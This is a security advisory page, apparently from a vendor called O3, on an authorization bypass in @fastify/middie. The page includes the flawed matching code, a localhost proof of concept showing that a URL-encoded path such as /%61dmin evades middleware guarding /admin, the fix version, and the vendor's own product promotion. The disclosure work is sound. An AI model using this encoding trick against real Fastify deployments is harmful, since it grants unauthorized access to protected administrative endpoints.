EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
@fastify/middieReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects npm packages — download data is not available via public APIs for these ecosystems.
Description
Summary
A security vulnerability exists in @fastify/middie where middleware registered with a specific path prefix can be bypassed using URL-encoded characters (e.g., /%61dmin instead of /admin). While the middleware engine fails to match the encoded path and skips execution, the underlying Fastify router correctly decodes the path and matches the route handler, allowing attackers to access protected endpoints without the middleware constraints.
Details
The vulnerability is caused by how middie matches requests against registered middleware paths.
- Regex Generation: When fastify.use('/admin', ...) is called,
middieusespath-to-regexpto generate a regular expression for the path/admin. - Request Matching: For every request,
middieexecutes this regular expression againstreq.url(orreq.originalUrl). - The Flaw:
req.urlin Fastify contains the raw, undecoded path string.- The generated regex expects a decoded path (e.g.,
/admin). - If a request is sent to
/%61dmin, the regex comparison fails (/^\/admin/does not match/%61dmin). middieassumes the middleware does not apply and callsnext().
- The generated regex expects a decoded path (e.g.,
- Route Execution: The request proceeds to Fastify's internal router, which performs URL decoding. It correctly identifies
/%61dminas/adminand executes the corresponding route handler.
Incriminated Source Code:
In the provided middie source:
// ... inside Holder function
if (regexp) {
const result = regexp.exec(url) // <--- 'url' is undecoded.
if (result) {
// ... executes middleware ...
} else {
that.done() // <--- Middleware skipped on mismatch
}
}
PoC
Step 1: Run the following Fastify application (save as app.js):
const fastify = require('fastify')({ logger: true });
async function start() {
// Register middie for Express-style middleware support
await fastify.register(require('@fastify/middie'));
// Middleware to block /admin route
fastify.use('/admin', (req, res, next) => {
res.statusCode = 403;
res.end('Forbidden: Access to /admin is blocked');
});
// Sample routes
fastify.get('/', async (request, reply) => {
return { message: 'Welcome to the homepage' };
});
fastify.get('/admin', async (request, reply) => {
return { message: 'Admin panel' };
});
// Start server
try {
await fastify.listen({ port: 3008 });
} catch (err) {
fastify.log.error(err);
process.exit(1);
}
}
start();
Step 2: Execute the attack.
- Normal Request (Blocked):
curl http://localhost:3008/admin # Output: Forbidden: Access to /admin is blocked - Bypass Request (Successful):
curl http://localhost:3008/%61dmin # Output: {"message":"Admin panel"}
Impact
- Type: Authentication/Authorization Bypass.
- Affected Components: Applications using
@fastify/middieto apply security controls (auth, rate limiting, IP filtering) to specific route prefixes. - Severity: High. Attackers can trivially bypass critical security middleware to access protected administrative or sensitive endpoints.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | @fastify/middie | all versions | 9.1.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @fastify/middie. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update @fastify/middie to 9.1.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-cxrg-g7r8-w69p is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-cxrg-g7r8-w69p is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-cxrg-g7r8-w69p. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-cxrg-g7r8-w69p in your dependencies?
O3 detects GHSA-cxrg-g7r8-w69p across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.